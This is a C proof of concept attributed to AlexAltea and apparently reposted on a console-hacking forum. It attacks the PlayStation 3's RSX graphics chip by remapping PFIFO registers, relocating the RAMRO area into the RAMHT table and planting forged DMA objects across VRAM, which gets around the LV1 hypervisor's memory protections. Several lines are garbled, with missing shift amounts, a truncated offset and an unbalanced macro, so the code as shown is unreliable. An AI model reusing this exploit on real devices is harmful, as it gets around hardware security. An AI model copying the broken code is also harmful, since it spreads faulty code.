/**
* (c) 2016 AlexAltea.
*/
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <cell/gcm.h>
#include "../../common/lv1.h"
#include "../../common/lv2.h"
#include "../../common/output.h"
// Writing on FIFO buffer
#define METHOD(offset, count) \
(((count) << 1 | (offset))
#define PUT \
*(uint32_t*)(EA_PFIFO_USER_ADDR + 0x40)
#define GET \
*(uint32_t*)(EA_PFIFO_USER_ADDR + 0x44)
#define COMMAND \
((uint32_t*)((uint32_t)ioAddress + PUT))
// TODO: Do the same without hardcoding the addresses
#define EA_GLOBAL_SEMAPHORE_ADDR 0x40000000
#define EA_GLOBAL_SEMAPHORE_SIZE 0x1000
#define EA_PFIFO_USER_ADDR 0x40100000
#define EA_PFIFO_USER_SIZE 0x1000
// NV40_CHANNEL_DMA (NV406E)
#define NV406E_SET_REFERENCE 0x0050
#define NV406E_SET_CONTEXT_DMA_SEMAPHORE 0x0060
#define NV406E_SEMAPHORE_OFFSET 0x0064
#define NV406E_SEMAPHORE_ACQUIRE 0x0068
#define NV406E_SEMAPHORE_RELEASE 0x006C
// PFIFO MMIO Registers
#define RSX_PFIFO 0x00002000
#define RSX_PFIFO_INTR_EN_0 0x00002140
#define RSX_PFIFO_RAMHT 0x00002210
#define RSX_PFIFO_RAMRO 0x00002218
#define RSX_PFIFO_MODE 0x00002504
// Properties
#define RAMHT_OFFSET_MIN 0x00000000
#define RAMHT_OFFSET_MAX 0x0001F000
#define RAMRO_ENTRY_SIZE 8
// Utilities
#define countof(a) (sizeof(a)/sizeof(a[0]))
uint32_t bitcount(uint32_t i) {
i = i - ((i >> 1) & 0x55555555);
i = (i & 0x33333333) + ((i >> 2) & 0x33333333);
return (((i + (i >> 4)) & 0x0F0F0F0F) * 0x01010101) >> 24;
}
uint32_t bswap32(uint32_t value) {
value = ((value << & 0xFF00FF00 ) | ((value >> & 0xFF00FF );
return (value << 16) | (value >> 16);
}
#define PFIFO_READ(offset) \
*(const uint32_t*)(pfifo_mmio + ((offset) - RSX_PFIFO))
#define PFIFO_WRITE(offset, value) \
*(uint32_t*)(pfifo_mmio + ((offset) - RSX_PFIFO)) = value
uint32_t addr_pramin_to_vram(uint32_t offset) {
uint32_t vram_size = 0x10000000; // 256 MB
uint32_t rev_size = 0x80000; // 512 KB
return vram_size - (offset - (offset % rev_size)) - rev_size + (offset % rev_size);
}
uint32_t addr_vram_to_pramin(uint32_t offset) {
uint32_t vram_size = 0x10000000; // 256 MB
uint32_t rev_size = 0x80000; // 512 KB
return (offset - vram_size) ^ -rev_size;
}
uint32_t offset_ramht(uint32_t handle, uint32_t chid) {
uint32_t t1 = (handle & 0x3FF800) >> 11;
uint32_t t2 = (handle & 0x7FF);
uint32_t t3 = (handle >> 22);
uint32_t t4 = (chid & 7) << 7;
return (t1 ^ t2 ^ t3 ^ t4) << 3;
}
const uint32_t driver_handles[] = {
// DMA object handles
0x66604200, 0x66604201, 0x66604202, 0x66604203, 0x66604204, 0x66604205, 0x66604206, 0x66604207,
0x66604208, 0x66604209, 0x6660420A, 0x6660420B, 0x6660420C, 0x6660420D, 0x6660420E, 0x6660420F,
0x56616660, 0x56616661, 0x66606660, 0x66616661, 0x66626660, 0xBAD68000, 0x13378086, 0x13378080,
0xFEED0000, 0xFEED0001, 0xFEED0003, 0xFEED0004,
// Engine object handles
0x31337000, 0x31337303, 0x3137C0DE, 0x313371C3, 0x31337A73, 0x31337808, 0x3137AF00, 0xCAFEBABE,
};
const uint32_t custom_handles[] = {
// DMA object handles
0x50401000 | 0x0040,
0x50401000 | 0x0044,
};
uint32_t get_vram_user_size() {
// TODO: Different firmware versions have different sizes;
return 0xF900000; // 249 MB
}
int main() {
// Initialize GCM
const uint32_t cmdSize = 0x10000;
const uint32_t ioSize = 1*1024*1024;
const void *ioAddress = memalign(1*1024*1024, ioSize);
cellGcmInit(cmdSize, ioSize, ioAddress);
// Map PFIFO MMIO registers
uint64_t addr1 = 0;
uint64_t addr2 = 0;
uint64_t ret = lv2_syscall_3(SYS_RSX_DEVICE_MAP, (uint64_t)&addr1, (uint64_t)&addr2, 14ULL);
uint64_t pfifo_mmio = addr1 ? addr1 : addr2;
// Original PFIFO MMIO values
const uint32_t old_pfifo_intr_en_0 = PFIFO_READ(RSX_PFIFO_INTR_EN_0);
const uint32_t old_pfifo_ramht = PFIFO_READ(RSX_PFIFO_RAMHT);
const uint32_t old_pfifo_ramro = PFIFO_READ(RSX_PFIFO_RAMRO);
const uint32_t old_pfifo_mode = PFIFO_READ(RSX_PFIFO_MODE);
// Original driver information
const uint32_t old_pfifo_ramht_offset = (old_pfifo_ramht & 0xFFFF) << 8;
const uint32_t old_pfifo_ramro_offset = (old_pfifo_ramro & 0xFFFF) << 8;
// Disable LV1 interrupts
PFIFO_WRITE(RSX_PFIFO_INTR_EN_0, 0);
// By testing on a real console:
// 1. Invalid PFIFO methods that trigger RAMRO writes in PIO mode are: { 0x0040, 0x0044, 0x0048, 0x0054 }.
// 2. Their corresponding RAMRO error reports are { 0x50401040, 0x50401044, 0x50401048, 0x50401054 }.
// 3. Their corresponding RAMHT offset for channel 1 are: { 0x0C18, 0x0C38, 0x0C58, 0x0CB8 }.
//
// After computing the RAMHT offsets for all pairs consisting of any handles ever created by the LV1 driver,
// and any possible channels ID (up to the maximum of 4 that LV1 supports), we know that no handle
// will ever be placed by the draver in the RAMHT range `0xC00` - `0xCFF`.
// Since the offset `0xC00` is 512-byte aligned, RAMRO can be relocated there.
// Move RAMRO to RAMHT+0x0C00
const uint32_t new_pfifo_ramro_offset = old_pfifo_ramht_offset + 0x0C00;
const uint32_t new_pfifo_ramro = new_pfifo_ramro_offset >> 8;
PFIFO_WRITE(RSX_PFIFO_RAMRO, new_pfifo_ramro);
uint32_t debug_pfifo_ramro = PFIFO_READ(RSX_PFIFO_RAMRO);
// Fill current context local memory with custom DMA object
// Modify the custom DMA object below to access different parts of RSX VRAM / IO address space.
// - Word 2: Size of accessible memory range (minus 1).
// - Word 3: Virtual address: VRAM=[0x00000000, 0x0FFFFFFF], IO=[0x80000000, 0x9FFFFFFF].
// - Word 4: Virtual address: VRAM=[0x00000000, 0x0FFFFFFF], IO=[0x80000000, 0x9FFFFFFF].
uint32_t dma_object[4] = { 0x00003002, 0x00000FFF, 0x0FE10003, 0x0FE10003 };
// NOTE: Filling the entire user VRAM with DMA objects is not necessary,
// but I'm too lazy to compute the address and this will not hurt anyone.
uint32_t vram_user_size = get_vram_user_size();
for (size_t i = 0; i < vram_user_size; i += sizeof(dma_object)) {
*(uint32_t*)(0xC0000000 + i + 0x0) = bswap32(dma_object[0]);
*(uint32_t*)(0xC0000000 + i + 0x4) = bswap32(dma_object[1]);
*(uint32_t*)(0xC0000000 + i + 0x = bswap32(dma_object[2]);
*(uint32_t*)(0xC0000000 + i + 0xC) = bswap32(dma_object[3]);
}
// Set all PFIFO channels temporarily to PIO mode and fill RAMRO with custom handles
// NOTE: Object RAMIN offset: 8 MB > 2 MB (LV1) + 5 MB (VSH), and therefore, it's our user VRAM.
// Although the VSH VRAM area in older firmware versions is bigger than 5 MB, and goes
// beyond the 16 MB limit (0xFFFFFF) in object offsets, it's usually allocated at the
// beginning of VRAM so a RAMIN offset of 8 MB would still be accessible.
uint32_t channel_count = bitcount(old_pfifo_mode);
uint32_t channel_id = channel_count - 1;
uint32_t object_offset = (channel_id << 23) | (0x800000 >> 4); // See note above
PFIFO_WRITE(RSX_PFIFO_MODE, 0);
for (size_t i = 0; i < 4; i++)
*(uint32_t*)(EA_PFIFO_USER_ADDR + 0x0040) = bswap32(object_offset | 0x100000);
for (size_t i = 0; i < 4; i++)
*(uint32_t*)(EA_PFIFO_USER_ADDR + 0x0044) = bswap32(object_offset | 0x100000);
PFIFO_WRITE(RSX_PFIFO_MODE, old_pfifo_mode);
// Memory access test
COMMAND[0] = METHOD(NV406E_SET_CONTEXT_DMA_SEMAPHORE, 1);
COMMAND[1] = custom_handles[0];
COMMAND[2] = METHOD(NV406E_SEMAPHORE_OFFSET, 1);
COMMAND[3] = 0x10;
COMMAND[4] = METHOD(NV406E_SEMAPHORE_RELEASE, 1);
COMMAND[5] = 0xDEFECA7E;
PUT += 6 * 4;
sys_timer_usleep(100000); // 0.1 s
// NOTE: If you are using the DMA object original source code:
// { 0x00003002, 0x00000FFF, 0x0FE10003, 0x0FE10003 };
// you can uncomment the line below to see if it worked.
//assert(*(uint32_t*)0x40300010 == 0xDEFECA7E);
printf("Done!\n");
return 0;
}
Copyright © 2024, NextGenUpdate.
All Rights Reserved.